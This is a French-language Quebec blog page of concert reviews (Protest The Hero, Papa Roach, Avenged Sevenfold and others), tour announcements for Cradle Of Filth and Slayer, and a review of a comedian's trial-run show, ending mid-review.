Home Blog

Critique Protest The Hero, Good Tiger, Destrage

Protest The Hero

Ce soir, à l’impérial Bell de Québec, nous avons droit au retour de Protest The Hero dans la grande capitale. Le groupe originaire d’Ontario nous présente l’album Fortress en intégrale dans cette tournée qui  fête les 10 ans de l’album.

Pour commencer la soirée, c’est le groupe de metalcore progressif italien Destrage qui monte sur scène. Que dire de plus que wow. Dès les premières notes, nous savions à quoi nous attendre. Du métal rapide, lourd, agressif, agrémenté d’une touche de progressif. Le groupe nous a donnés 7 chansons au total. Les unes plus intenses que les autres. Je crois que plusieurs personnes dans la foule vont repartir avec un bon souvenir de cette performance a en croire les cris de la foule et le circle pit lors de la dernière chanson.  S’ils n’ont pas conquis de nouveaux admirateurs ce soir, du moins, moi, ils m’ont conquis.

Fut ensuite le tour du super groupe,  Good Tiger, d’entrée sur scène. Avant le début de leur performance, un des membres du groupe est monté sur scène afin de venir s’adresser à la foule. J’étais sur qu’ils allaient annoncer que le groupe ne pouvait performer ce soir, mais non. Ils nous ont seulement expliqué que le batteur du groupe n’a pu être présent pour ce soir et que c’est le batteur de Destrage qui prend la place. C’était son quatrième spectacle avec la formation. Deux minutes plus tard, le groupe entre en scène avec un style rock assez particulier et unique. J’ai remarqué une certaine baisse d’énergie, le style étant beaucoup plus tranquille pour la foule. Néanmoins, la performance était excellente. Un vocal impeccable et une performance musicale qui fleure la perfection.

Enfin, le clou du spectacle. Protest The Hero.
C’est sous une intro de piano que le groupe entre en scène avant de nous foutre en pleine gueule le succès Bloodmeat. Que dire de plus, le foule bouge, saute, cris, et un immense circle pit se forme. À peine le temps d’acclamer le groupe que la deuxième pièce, The Dissentience enchaîne. Aucune baisse d’énergie et la foule n’en redemandent. Le groupe enchaîne ensuite avec  Bone Arrow. Après une courte intro joué par le guitariste au piano, vint ensuite la pièce Squotia Throne après un court interlude de piano. La foule s’enflamme, Squotia Throne étant l’un de leurs grands succès. Le vocal est à la perfection, les musiciens aussi. Quel groupe incroyable!

Le chanteur prend une pause pour s’adresser à la foule. Il explique qu’il y a plusieurs années, le groupe était de passage dans la capitale pour la première fois, et qu’aucun billet n’avait été vendu, et qu’ils sont donc allés boire au Dagobert, et que le chanteur a reçu un coup au visage du chanteur d’un band de cover. Il enlève ensuite ses boucles d’oreilles et les lances dans la foule, boucle d’oreille qu’il a achetée pour 5 dollars dans une boutique près de la salle de spectacle.
Le rythme est resté le même durant toute la performance de l’album Fortress. Du gros métal progressif, et rien de moins. Le groupe fini sous la dernière pièce de l’album Goddess Bound.

En rappel, le groupe nous livres les pièces Sex Tapes, la nouvelle pièce Chuna Fish, et pour finir avec  le succès Skies.

Pour résumer, j’ai adoré ma soirée. J’ai eu beau chercher des points négatifs pour Protest The Hero, mais les gars sont assurément au sommet de leurs formes. Chapeau!

 

Texte: Mathieu Pellerin

Critique Papa Roach / Nothing More / Escape The Fate

Bonjour à vous tous, mes chers trippeux de musique.
J’espère que vous êtes en forme.
Vous êtes certainement comme moi, et plusieurs autres aussi, tannés de l’hiver interminable qui peine à se terminer. La tempête de verglas des derniers jours est la goutte qui a fait déborder le vase. Une chance qu’Evenko et District 7 nous ont apporté une bonne grosse dose de chaleur et de festivité en ville pour nous faire oublier cette lacune. En effet, c’est avec leur musique endiablée que Papa Roach, Nothing More et Escape The Fate, sont venu mettre du baume sur notre humeur grisonnante causée par cette mauvaise température. Est-ce que cette ‘’thérapie’’ fut une réussite ? Faisons ensemble un survol de cette belle soirée du 17 avril 2018 qui avait lieu au Grand Théâtre de Québec.

Premièrement, je vais tout de suite parler du choix de la salle. Il faut dire d’entrée de jeu que le choix de salle a fait beaucoup réagir sur les réseaux sociaux, et même que certaines personnes, selon leurs dires, ont décidé de ne pas assister au spectacle. Quand j’ai su que ce spectacle aurait lieu au grand théâtre de Québec, là où il y a habituellement des spectacles d’humours et des comédies musicales, je ne vous cacherai pas que j’ai lâché quelques ‘’What the fuck’’ en me disant ‘’mais, mais, mais, le parterre est remplis de chaises’’. Tout comme les gens sur les réseaux sociaux, j’avais pas mal de misère à m’imaginer un show de Papa Roach, avec un parterre remplis de sièges assignés. Mais bon, pour ma part, et pour plusieurs autres, ce n’est pas ça qui nous a arrêté et beaucoup de gens ce sont présentés. Le spectacle a même faillit être ‘’sold-out’’. Ben câline, je suis agréablement surpris du résultat. Le son était très bon, voir excellent, après quelques ajustements fait après le set d’Escape The Fate, qui ont ouvert le bal. Malgré l’espace restreint due aux rangées de sièges, la foule a su être active et participative. Par contre, oubliez tout de suite l’idée des moshpits et des wall of deaths, (quoi que ça aurait été vraiment drôle de voir ça dans le grand théâtre). Plus sérieusement, ce choix de salle me faisait très peur, mais au final je suis agréablement surpris, même que ça ne me  dérangerait aucunement d’y retourner un de ces quatre pour un autre show du genre.

Escape The Fate : La première fois que j’ai vu ce band, que je suis depuis plusieurs années soit dit en passant, ça remonte au Uproar festival de Montréal en 2011. Donc, je ne vous cacherai pas que j’avais très hâte de les revoir sur scène. C’est en force que le groupe a ouvert le bal avec ‘’Do You Love Me’’ tiré de leur plus récent album, suivi de ‘’Gorgeous Nightmare’’. Tout de suite en partant, j’ai remarqué que le son était ‘’so-so’’ lors de leur prestation. Le Vocal était sur la coche, là dessus, rien à redire, mais c’est plutôt au niveau du son des instruments que ça m’a titiller l’oreille un peu. Mes doutes se sont confirmés lorsqu’ils ont joué ‘’This War Is Our’’, une de mes chanson préférée du groupe. Le petit solo de guitare rapide du début de la chanson, qui me fait toujours lever le poil sur les bras, et bien je ne l’ai fuck-all entendu parce que  le son des instruments était soit trop fort, ou soit mal calibré avec les autres, donc malheureusement, le solo s’est fait engloutir par le son des autres instruments. Ce fut le cas pour beaucoup d’autres passages aussi, à mon plus grand désappointement. De plus, je ne sais pas si c’est moi, mais j’ai remarqué qu’il semblait planner un certain ‘’malaise’’, appelons le comme ça, au sein du groupe. Il n’y avait aucune chimie entre les membres. Les gars étaient là pour accomplir leur mission, soit nous présenter leur set d’environs 7 chansons, nous en mettre plein la gueule et puis rapidement partir. Mis à part Craig Mabbitt qui allait souvent voir son collègue au lead guitar, aucune autre interaction n’a été faite avec, ni entre les autres membres du groupe. Est-ce seulement une impression personnelle ? Je ne le sais pas mais ça m’a marqué et dieu sait que la prestation aurait été encore meilleure si la chimie aurait habité le band au grand complet. Malgré ces quelques lacunes, le band a su bien réchauffer la salle et ont présenté un très bon set. Une très belle façon de débuter la soirée en grand.

Setlist :
– Do You Love Me
– Gorgeous Nightmare
– Remember Every Scar
– Broken Heart
– I Am Human
– This War Is Ours (The Guilotine II)
– One for the Money

Nothing More : Je vais commencer cette partie de la critique avec un seul mot… ‘’WOW’’. J’avais déjà vu Nothing More en première partie de Disturbed il y a 2 ans environs, donc je savais à quoi m’attendre, jamais je n’aurait imaginé être autant abasourdi par cette prestation. J’ai littéralement mangé une claque en pleine poire! La troupe du Texas s’est amenée sur scène avec ‘’Christ Copyright’’ et ce avec une énergie contagieuse dès le départ, ce qui mettait rapidement le feu aux poudres. Le son était déjà beaucoup mieux que lors d’Escape the Fate, ce qui était plus que positif pour aller chercher chaque sonorité et chaque partie des chansons interprétés par le band. Tous les musiciens étaient en feu, mais il faut se l’avouer, le chanteur et leader du groupe Johny Hawkins, l’homme au torse nu abordant un ‘’6-pack’’ découpé au couteau, est le centre d’attraction principal du band. Il court partout, se jette par terre, se couche, s’accroupit, grimpe tout partout sur les différents éléments du décor, on dirait un enfant hyperactif qui n’a pas pris sa médicamentation, mais ON AIME ÇA COMME ÇA. De plus, Hawkins ne se démarque pas seulement qu’au niveau de sa prestance sur scène, mais aussi au niveau de sa capacité vocale incroyable. Il peut sans aucune difficulté apparente, passer d’un ton plus grave à un son plus aigu que jamais. En matière de variation de tonalité de voix, il est haut dans mon classement personnel. Le groupe y est allé avec des titres comme ‘’Do You Really Want It, Go to War, Jenny, This Is The Time, etc’’. Après ‘’This Is The Time’’, ceux qui ne connaissaient pas le band ont du tomber sur le c** en voyant Johny se catapulter dans les airs à l’aide d’un genre de ‘’drum scorpion rétractable’’, pour nous interpréter un cover assez unique de la chanson ‘’First of the Year Equinox’’ de Skryllex. Je voudrais essayer de trouver les bons mots pour vous décrire cette ‘’attraction’’, mais c’est impossible à décrire correctement. Il faut tout simplement le voir pour le croire et mieux l’apprécier. Ce fut l’un des moments fort de leur prestation et la foule semblait abasourdie par ce qu’ils venaient de voir.
Pour conclure leur set, le band y est allé d’une vieille pièce ‘’Salem, Burn The Witch’’ durant laquelle nous avons eu droit a toute une chorégraphie de percussion. C’est là-dessus que le groupe à fait ses adieux à la foule. Je me répète encore mais quelle claque, quelle prestation de FOU. Tout était là, une prestation musicale sur la coche mais surtout, SURTOUT, une prestance sur scène remarquable qui ne nous laissait aucune minute de répit.

Setlist :
– Christ Copyright
– Do You Really Want It?
– Don’t Stop
– Go to War
– Fadein/Fadeout
– Jenny
– Ocean Floor
– This IS The Time (Ballast)
– Firt of the Year (Equinox)
– Salem(Burn the Witch)

Papa Roach : Aussitôt que Nothing More ont quitté la scène, un énorme rideau à l’effigie du dernier album du band Papa Roach, est tombé du plafond, cachant ainsi la scène lors du montage de celle-ci. Bon okay… caché c’est vite dit car il était presque transparent…haha !
La foule, qui était presque à 100% à sa place, j’ai pu remarquer que la moyenne d’âge pour cette soirée était ma foi, beaucoup plus vieille que je ne l’aurais pensé. Il y avait beaucoup de gens dans la 40e, 50voir même la 60e, ce qui m’a agréablement surpris. Je crois fortement que le dernier album y est pour quelque chose, mais de toute manière, je trouve ça cool que le groupe attire une vaste moyenne d’âge.
À 21:00 tapant, les lumières se sont fermées et la troupe principale a fait son entrée en force avec ‘’Crooked Teeth’’. La foule était déjà en délire et débordait d’énergie et ce même si ça ne faisait que trente secondes que le band était sur scène. Tantôt je disais que le protagoniste de ‘’Nothing More’’ était une bête de scène, et bien on se retrouve ici avec la même constatation. Jacoby, le chanteur de Papa Roach, est lui aussi une grosse boule d’énergie qui ne fait qu’alimenter la foule qui ne demande qu’à prendre chaque once d’énergie reçue, mais qui est malheureusement restreinte côté mouvement à cause des sièges au parterre. Si ce n’aurait pas été de ces sièges là, je crois fortement que le parterre aurait été déchaîné à un bon niveau. Le band y est allé avec beaucoup de chansons du dernier album, mais nous avons aussi eu droit à de gros hits du band et même de très vieux morceaux pour les plus nostalgiques d’entre nous. L’énergie contagieuse de Jacoby n’a pas diminuée d’une miette, tout au long de leur 1h30 de prestation, même qu’au contraire on dirait qu’elle augmentait au fur et à mesure que la soirée avançait.
Durant ‘’Face Everything and Rise’’, Jacoby y est-allé avec sa traditionnelle ballade dans la foule, et ce au plus grand plaisir des fans. Plus tard, Il a aussi dit que les foules canadiennes/françaises, sont toujours au top et qu’on dépasse largement les autres villes anglophones. Est-ce qu’on s’est fait bullshiter? Est-ce que c’était juste des paroles en l’air pour nous amadouer ? On n’en sait rien, mais on aime y croire et c’est ce qui rend ces paroles toujours appréciées par les fans présents et elles ont aussi pour but de monter encore d’un cran la réceptivité de la foule. Il y a eu quelques moments forts comme le cover ‘’Song 2’’, la prestation de ‘’Last Resort’’ mais, ce qui m’a le fait le plus sourire, est le moment où durant  ‘’Forever’’ où Jacoby a rapidement changé les paroles, pour se retrouver a interpréter une partie de la chanson ‘’In The End’’ de Linkin Park. La transition était parfaite on aurait même pu croire que ces deux chansons étaient faites pour être liées ensemble. Par la suite, Jacoby y est allé d’un petit discours en louangeant Chester Bennington, tout en ayant une pensée pour lui. À voir les différentes réactions autour de moi, et la mienne du même fait, ce fut certainement un des gros moments forts de la soirée, surtout pour ceux qui connaissent bien Linkin Park et Chester du même fait. C’est après un très bon set de 21 chansons que le band a fait ses adieux à la foule de Québec.

Setlist :
– Crooked Teeth
– …To Be Loved
– Getting Away With Murder
– Still Swingin’
– Face Everything and Rise
– Snakes
– Kick in the Teeth
– Gravity
– Periscope
– My Medication
– Help
– Broken Home
– American Dreams
– Song 2 (Blur Cover)
– Between Angels and Insects
– Forever
– Falling Apart
– Born For Greatness
-> rappel <-
– Scars
– Non of the Above
– Last Resort

Quelle soirée ! Ce fût selon moi une réussite sur toute la ligne. Malgré le fait que la foule n’avait pas beaucoup de place pour bouger et se faire entendre par différents moshpits ou wall of death ou tout autre coutumes des shows de ce genre, elle était très réceptive et démontrait quand même son enthousiasme à différents moments dans la soirée.

Même après une carrière de 25 ans, Papa Roach est toujours sur la grosse coche, et je crois que ce sera le cas pour un bon bout encore.

N’oublions pas de remercier Evenko et District 7 de nous avoir apporté ce spectacle qui restera surement gravé dans les souvenirs du Grand Théâtre de Québec, qui n’est pas habitué de recevoir ce genre de spectacle… Qui sait, ils auront peut-être pogné la piqûre!

Sur ce, je vous souhaite une excellente journée et on se dit à une prochaine fois.

Rock On !

Christopher Drouin.

Cradle Of Filth : Tournée Cryptornia

Bonjour à vous tous !

Ce matin, on vous fait un article rapide pour vous rappeler que la tournée ‘’Cryptornia’’, du band Cradle Of Filth, sera de passage à Montréal le 10 avril prochain. Quoi que moins médiatisé et affiché, il ne faut pas prendre cette venue à la légère car Cradle  est un band important du ‘’black metal’’ et qui tourne depuis longtemps.

Pour cette tournée, ce sont les groupes Jinjer et Uncured qui seront les premières parties. Je vous invite à aller les découvrir sur les internet, vous serez agréablement surpris et vous allez vous rendre compte à quel point ça vas brasser solide le 10 avril prochain au Théâtre Corona.

Pour ce qui est de Cradle Of Filth, si vous suivez un peu la scène ‘’metal’, vous devez sans doute connaître les titres comme : Nymphetamine, Temptation, Heartbreak And Seance ou bien Her Ghost In The Fog. Le groupe fait dans le ‘’black metal’’, mais il a sa propre personnalité qui le démarque des autres groupes du même genre.

Voici les informations à savoir pour être sûr de ne pas manquer ce spectacle :
Qui : Cradle Of Filth avec Jinjer & Uncured
Quoi : Tournée Cryptornia
Quand : 10 avril 2018
Heure : Portes à 18h30 et le spectacle à 19h30
 : Théâtre Corona à Montréal
Billets : https://tickets.evenko.ca/shop/#/51f442ed-c3a9-4a8c-a67f-dd0bc83813a3/shop/search?locale=fr-CA&skin=corona&fac=EVENKO
Pour plus d’informations : http://www.evenko.ca/fr/evenements/13413/cradle-of-filth-tournee-mondiale-cryptornia/theatre-corona/04-10-2018
Présenté par : Evenko et Heavy Montreal

On vous laisse la dessus, en espérant vous voir au spectacle qui, comme nous le disions plus haut, s’annonce mouvementé et assez hardcore.

Bonne journée les amis.

Rock On !

Christopher Drouin

Critique Pierre-Luc Pomerleau (Premier one-man show en rodage)

Bonjour à vous tous chers lecteurs.

Aujourd’hui, on vous propose la critique du spectacle de l’humoriste Pierre-Luc Pomerleau. En fait, le spectacle que j’ai vu est le rodage de son premier ‘’one-man show’’. Sans trop vous dévoiler de ‘’punchs’’, je vais essayer de vous décrire du mieux possible le spectacle auquel j’ai assisté.

Pierre-Luc Pomerleau est un humoriste qui a fait l’école de l’humour en 2011 et qui depuis, a fait plusieurs apparitions dans différents galas. Il fait aussi parti des quatre ‘’Jokers’’, de la populaire émission du même nom qui a passé sur les ondes de ‘’V’’ et ‘’musique plus’’. C’est avec plaisir qu’il nous propose enfin son premier et véritable premier ‘’one-man show’’. Est-ce que ce premier spectacle est réussi ? Est-ce qu’il vaut la peine d’être vu ? Voyons voir ça ensemble

PRENDRE NOTE : J’ai assisté au spectacle de rodage, donc il se pourrait que certains sujets et/ou autre aspects du spectacle changent d’ici le résultat final lors de sa première médiatique.

Premièrement, il faut savoir que Pierre-Luc propose un style d’humour ‘’stand-up’’ dans tout ce qui se fait de plus classique. C’est sans grosse mise en scène et sans personnages que l’humoriste prend place sur scène. Son style se rapproche beaucoup des humoristes ‘’raconteurs’’, un peu à la Michel Barrette, Jean-Marc Parent ou bien Simon Leblanc. Les sujets apportés lors du spectacle sont en totalité, ou en partie, des évènements ou des faits tirés de sa propre vie. Personnellement, c’est un style d’humour que j’adore alors j’avais bien hâte de voir ce qu’il avait a proposé.

C’est avec un charisme sans précédant et une énergie contagieuse que Pierre-Luc Pomerleau a pris place sur la petite scène de l’entre-cour du Cégep Beauce-Appalache de Saint-Georges de Beauce. Il a tout de suite mis carte sur table en disant qu’il s’agissait de son rodage et qu’il allait raconter divers choses par rapport à sa propre vie et que tout allait se faire sans ‘’flafla’’ et dans une simplicité pure et dure. De plus il nous a averti qu’il n’y aura aucune leçon à retenir, donc rien qui porte a réflexion, soit une belle soirée avec de l’humour simple et facile pour notre plus grand plaisir.

Les sujets abordés, ont étés très larges et variés. Ce que j’ai vraiment aimé, c’est qu’il y avait de bonnes transitions entre chaque sujet et, de loin ou de proche, tout avait un certain lien. Les sujets n’étaient pas ‘’garochés’’ au hasard. Tout était bien calculé et bien mis en place pour offrir une transition transparente et efficace à tout niveau. Par exemple, au début du spectacle, il a d’entrée de jeu dit qu’il y aurait une blague sur tel sujet, et une autre blague sur un autre sujet, et ces dits sujets étaient quelques peu absurdes. C’est en cours de route que ces sujets on refait surface d’une manière inattendu et très drôle, de là l’importance de bien placer ses gags pour créer l’effet de surprise, ce qui a été une réussite ici.

Sinon, sans dévoiler de véritables ‘’punchs’’ ou de moments marquants, les sujets abordés lors du spectacle on été en majeur partie : Les animaux, sa femme et son nouvel enfant, sa sœur, ses parents, la constipation, ses habiletés manuels, le sexe, les couples d’amis et le pénis qui se détache. Oui, oui vous ne rêver pas, il parle bien de pénis détachable…dans quel contexte me direz vous ? Et bien pour ça il faudra aller voir le spectacle pour le savoir et, selon moi, ce fût l’un des moments fort du spectacle.

La foule semble avoir adoré le spectacle. Les spectateurs on rie du début à la fin et il y a même eu quelques bons fou-rires ici et là. Dans la foule, il y avait autant de jeunes gens que des plus âgés. Nous pouvons donc venir à la conclusion que le spectacle s’adresse  à tous les âges et tous les sexes aussi. C’est ici la force des humoriste ‘’raconteurs’’.

Personnellement, c’est un spectacle que je recommande sans hésitation. Un spectacle qui se veut très léger. Vous n’aurez pas à réfléchir tout au long du spectacle. Il vous suffira de mettre votre cerveau à ‘’off’’ et de profitez de cette prestation d’une heure trente, qui est sans entracte en passant, pour en rire un bon coup et oublier, l’espace d’un moment, le négatif qui nous entoure.

Sur ce, j’espère que vous avez apprécié cette critique de spectacle d’humour.
N’hésitez pas à nous faire part de vos commentaires et/ou vos avis à ce sujet.
Aimeriez-vous qu’on continue à aborder ce sujet de temps à autre ?

Bonne journée !

Christopher Drouin !

Slayer à Montréal, Laval

Bonjour à vous tous !
Si tu as cliqué sur cet article, tu es sans doute un fan pur et dur de musique metal, car on parle ici de Slayer, des pionniers du ‘’trash metal’’. Pourquoi nous vous écrivons un article spécial sur eux ? Tout simplement car ce band mythique s’amènera à Montréal, pour une tournée un peu spéciale. Voyons voir en quoi cette tournée est si ‘’spéciale’’.

Tout d’abord, il faut savoir que Slayer est actif depuis plusieurs années. En fait, le groupe tourne sa boule depuis les années 80. Au fil du temps, le groupe est devenu une légende au niveau du ‘’trash metal’’. Qui n’a jamais entendu au moins une fois le riff accrocheur de ‘’Reign in Blood’’ ou bien le succès bien connu ‘’Angel of Death’’ ? Depuis toute ces années, le groupe a fait tourné bien des têtes et il faut le dire, beaucoup de gens se déplaçaient de loin pour assister à leurs concerts.

Malheureusement, toute bonne chose à une fin et ce n’est pas plus tard que le 22 janvier dernier que le band a annoncé qu’il mettait fin à celui-ci et ce à l’aide d’une grosse tournée qui débutera sous peu. En effet, le band a organisé une tournée pour aller faire ses adieux au plus grand nombre de fans possible, ce qui fait plaisir à entendre car la fin du band aurait tout simplement pu être annoncé radicalement, sans tournée d’adieu rien, ce qui aurait été bien sauvage on s’entend tous la dessus.

Le groupe a fait les choses en grand en invitants d’autres bands, presque tout aussi légendaires qu’eux, dans cette catégorie. Pour cette tournée, on pourra également retrouver les groupes ‘’Lamb of God’’, ‘’Anthrax’’, ‘’Behemoth’’ & ‘’Testament’’. Un line-up à en faire dresser les poils sur les bras et nous donner la chair de poule juste à penser à la soirée mémorable qui se trame à Montréal car oui cette tournée s’amène dans notre région. Gageons que beaucoup de gens ont laissé aller un soupir de soulagement en entendant cette nouvelle.

Voici toutes les infos que vous devez savoir sur ce spectacle pour être certain de ne rien manquer :

Quoi : Tournée d’adieu de Slayer
Qui : Slayer, Lamb of God, Anthrax, Behemoth & Testament
Quand : mercredi le 30 mai 2018
Heure : Portes à 16:00 et spectacle à 17:00
 : Place Bell, de Laval
Prix des billets : de 61.25$ à 92.50$, et certains forfait VIP à 199$
Achat de billets : https://www1.ticketmaster.ca/event/3100542CB2313F91?lang=fr-ca&brand=placebell

Pour retrouver toutes ces infos et plus encore : http://www.evenko.ca/fr/evenements/13555/slayer/place-bell/05-30-2018

Sur ce, je vais parler pour nous tous, fans de metal. Je crois que nous pouvons tous remercier Evenko de nous apporter cette tournée d’adieu, qui marquera certainement la scène metal au Québec. Des adieux qui seront surement déchirants pour plusieurs, mais qui sera célébré de la meilleure façon qui soit, avec un line-up de débile mental.

Continuez de nous suivre, et n’hésitez pas à partager cet article pour que le plus de gens possible soit atteints.

Sur ce, je vous souhaite une excellente journée !

Rock On !

Christopher Drouin !

Critique Avenged Sevenfold / Breaking Benjamin / Bullet For My Valentine

Bonjour à vous tous !

Vendredi le 19 janvier dernier, avait lieu un spectacle de grande envergure qui était plus qu’attendu et ce par plusieurs personnes. Je parle bien sûr de la venue du groupe Avenged Sevenfold. C’est dans le cadre de la tournée ‘’The Stage’’ que le groupe est venu faire vibrer le Centre Vidéotron de Québec, en compagnie de deux autres bands très connus, Breaking Benjamin & Bullet For My Valentine.

Je ne vous mentirai pas, Avenged Sevenfold est mon groupe préféré, et même les deux groupes invités figurent parmi mes préférés alors je ne vous cache pas l’excitation que j’avais envers cette soirée. De plus, je me suis payé l’expérience VIP et j’ai aussi gagné une rencontre avec nul autre qu’Avenged Sevenfold, alors vous pouvez vous imaginez que je flotte sur un petit nuage depuis cette soirée mémorable. Je vais donc vous faire ma critique, tout en vous faisant part du déroulement de la partie ‘’VIP’’ ainsi que la partie ‘’Meet and Greet’’ comme si vous y étiez.

VIP : Oui, j’ai décidé de me gâter un peu. Je me suis donc payé le 2e VIP le plus élevé. Premièrement, nous avons pu entrer vers les 15:00 pour faire notre ‘’Check-in’’. C’est à ce moment qu’ils nous ont donné un sac en tissus, comprenant une ‘’pin’’ spéciale VIP, ainsi qu’un magnifique livre intitulé ‘’Unholy Confession’’, comprenant des photos inédites du band. Le livre est d’une très bonne qualité. Je m’attendais plutôt à un livre de type revue, mais je suis agréablement surpris du produit fini. Voir les photos ci-jointes pour voir à quoi ressemble le livre.

Après avoir reçus nos items, nous étions invités à nous diriger vers le ‘’Paradigm Lounge’’, un genre de petit côté bar, faisant aussi office de musé avec différents items provenant de la collection personnelle d’Avenged Sevenfold. La nourriture y était fournie gratuitement et on pouvait même prendre des instruments appartenant au band et pour ceux qui voulaient se prêter au jeu, ils pouvaient même mettre des écouteurs et jouer avec les guitares et basses présentent. Voici quelques photos que j’ai prises lors de ma visite au ‘’Paradigm Lounge’’.

Par la suite, vers les 16:15, nous nous sommes dirigés vers les portes de l’intérieur du Centre Vidéotron. Ceux qui voulaient aller à la table des marchandises avant l’ouverture des portes, pouvaient le faire. Sinon, juste un peu avant l’ouverture des portes du Centre Vidéotron pour les ‘’non-vip’’, nous avons pu nous diriger vers le parterre pour profiter de superbes places. Oui j’ai bien aimé mon expérience, mais est-ce ça valait le prix que j’ai payé…je ne crois pas non. Ce VIP était surtout pour les ‘’Die Hard Fans’’ ou bien pour ceux qui voulaient s’assurer des meilleures places au parterre.

Bullet For My Valentine : Comme le spectacle commençait quand même tôt, à 18h25 pour être plus précis, j’avais peur qu’il n’y ait pas beaucoup de spectateurs pour Bullet For My Valentine, qui ne viennent que très très rarement dans la ville de Québec. Quelques minutes avant le début du set, j’avais encore une certaine crainte car il n’y avait vraiment pas beaucoup de gens au parterre et dans les estrades. Par contre dès les premières notes de ‘’Your Betrayal’’, j’ai eu tout un soupir de soulagement car la salle c’est remplie et ce en l’espace de quelques secondes. Le band était plus qu’en forme, et leur énergie ne faisait qu’augmenter au fil de leur set, nous offrant donc une prestation explosive tout au long des huit chansons qui ont été jouées. Le groupe a été accueillis comme il se doit, et c’était clair comme de l’eau de roche que ça leur faisait plaisir de voir ça. La setlist présentée était bien dosée, bien calibrée et rodée au quart de tour. Le band a joué autant de vieilles chansons que de nouvelles au plus grand plaisir de tous. C’est donc sans surprise que le groupe nous a offert une performance parfaite. Même au niveau du son il n’y avait rien à dire. Selon plusieurs commentaires que j’ai entendus, on en aurait tous pris beaucoup plus, mais malheureusement toute bonne chose à une fin et tout le monde est repartis avec d’excellents souvenirs de cette performance plus qu’endiablée et mémorable.
Voici la setlist présentée :
– Your Betrayal
– No Way Out
– The Last Fight
– 4 Words (To Choke Upon)
– Worthless
– Tears Don’t Fall
– Waking the Demon
– Don’t Need You

Meet and Greet : Immédiatement après la dernière chanson de Bullet For My Valentine, j’ai dû me diriger à un endroit bien précis pour rencontrer la personne contact qui s’occupait du Meet and Greet. Nous étions une quinzaine de chanceux à avoir gagné cette rencontre inimaginable. Par la suite, nous avons été dirigés dans une salle se trouvant derrière la scène où on nous a indiqué les règles à suivre et où nous avons attendu patiemment que le groupe se pointe le bout du nez. Il n’a pas fallu plus de cinq ou dix minutes et le groupe s’est pointé et ce avec une bonne humeur contagieuse. Nous formions une demi-lune, collés au mur, et les membres du groupe passaient tous nous voir une fois pour nous donner la main et nous dire quelques mots, et une deuxième fois pour signer ce qu’on avait à faire signer. Pour ma part j’ai fait signer mon livre VIP, ainsi que mes deux bras pour avoir leurs signatures près de mes deux tattoos à leur effigie. Le band a été très généreux de son temps et les différents musiciens étaient tous très gentils et ils semblaient tous ravis de venir nous voir. Tout au long de la rencontre, des photos ont été prisent ici et là, et une photo de groupe a été prise aussi à la fin pour immortaliser le moment. Ces photos seront disponibles sous peu et je ferai une mise à jour ici même sur cet article pour vous les partager. Suite à cette photo, le band nous a fait ses adieux et nous nous sommes redirigés vers la salle pour retrouver nos places. Nous avons réussis à retrouver nos places assez facilement pour profiter du set de Breaking Benjamin qui était déjà commencé depuis environs 10 minutes.

Breaking Benjamin : Bien que j’adore ce band plus que tout au monde, je suis du même avis que la plupart des gens et je me demande encore pourquoi ce n’est pas Breaking Benjamin qui a ouvert la soirée au lieu de Bullet For My Valentine. Breaking Benjamin a offert un super spectacle, mais ils ont dégagés beaucoup moins d’énergie dans la salle que Bullet For My Valentine l’a fait. Je crois par contre que placer en début de soirée, ça aurait été parfait. Ils auraient réchauffé la salle comme il se doit, et Bullet For My Valentine eux auraient redoublé cette énergie, ce qui aurait permis d’avoir une énergie en constante augmentation, ce qui n’a pas eu lieu car la foule a semblée s’être calmée et assoupies durant Breaking Benjamin. De plus, le style musical du band est celui qui est le moins ‘’heavy’’ de la soirée, ce qui aurait donc encore plus justifié sa place en début de soirée.
Outre cette lacune, il faut savoir que le band a quand même offert quelque chose d’excellent. Le band a performé avec perfection tout au long de son set de dix chansons.  Les titres interprétés ont été pigés un peu partout dans leur répertoire, offrant donc autant de grands classiques que de nouvelles chansons tirées de leur plus récent album.
Le chanteur adore beaucoup le cinéma et les jeux-vidéos, alors on comprend un peu mieux pourquoi nous avons eu droit à un petit segment de sabre laser et d’une petite interprétation  de la marche impérial, tirée du film à succès ‘’Star-Wars’’. Ce segment a été immédiatement suivis d’un petit medley comprenant des titres connus comme ‘’Smells Like Teen Spirit’’ ou encore ‘’Walk’’.
Comme plusieurs s’en doutaient, c’est avec la chanson ‘’Diary of Janes’’ que le groupe a conclus son set, mais avant de la commencer, le chanteur a invité trois enfants sur scène pour l’accompagner. Les enfants semblaient émerveillés d’être sur la rampe centrale de la scène et de saluer la foule et de se sentir comme de vrai rocks stars. Pour ma part, j’ai adoré ce que le band a présenté, même si mon idée reste la même et qu’ils auraient dû ouvrir la soirée, je suis sûr qu’ils auraient encore été plus appréciés par certains si ça aurait été le cas.
Voici la setlist présentée :
– So Cold
– Angels Fall
– Sooner or Later
– Blow Me Away
– Never Again
– Failure
– The Imperial March / Schism / Smells Like Teen Spirit / Walk
– Until The End
– I Will Not Bow
– The Diary of Jane

Avenged Sevenfold :
Voici le moment tant attendu par tout le monde. Les lumières se sont éteintes et les écrans géantes se sont allumées en nous présentant une cinématique représentant l’espace, un peu à l’effigie du dernier album. Le Centre Vidéotron, remplie à ce moment à  pleine capacité ou presque, a explosé sous les cris et les applaudissements des fans présents. C’est sans surprise, que le band a ouvert avec la chanson ‘’The Stage’’. À voir l’énergie dégagée par nos musiciens préférés, et leur prestance sur scène, on savait déjà que le ton de leur prestation était à ce moment donné et on pouvait donc s’attendre à tout un deux heures de pure magie. Pour remplir ce deux heures, qui a semblé être plutôt vingt minutes, c’est un total de dix-sept chansons qui a été interprété. Au plus grand plaisir de tous, le band a pigé dans ses vieilles chansons, même si la majorité des titres présentés provenaient du dernier album ‘’The Stage’’. Une rampe centrale, qui était attachée à la scène, venait se marier à la foule au parterre, et celle-ci a été utilisée très souvent lors du set du groupe principal. Étant collé au bout de cette rampe, je crois que j’ai vu plus souvent Mr.Shadow et Synyster Gates plus souvent que ceux qui étaient collés directement à la scène ‘’principale’’. Il n’y a eu aucun moment de relâchement de la part du band. L’énergie était toujours à son meilleur et ce même lors des balades. À plusieurs moment, la foule criait ou chantait tellement fort qu’elle enterrait presque Mr.Shadow, qui semblait plus qu’impressionné par l’énergie qu’on leur renvoyait en plein visage, leur démontrant ainsi toute l’appréciation que nous avons envers eux.
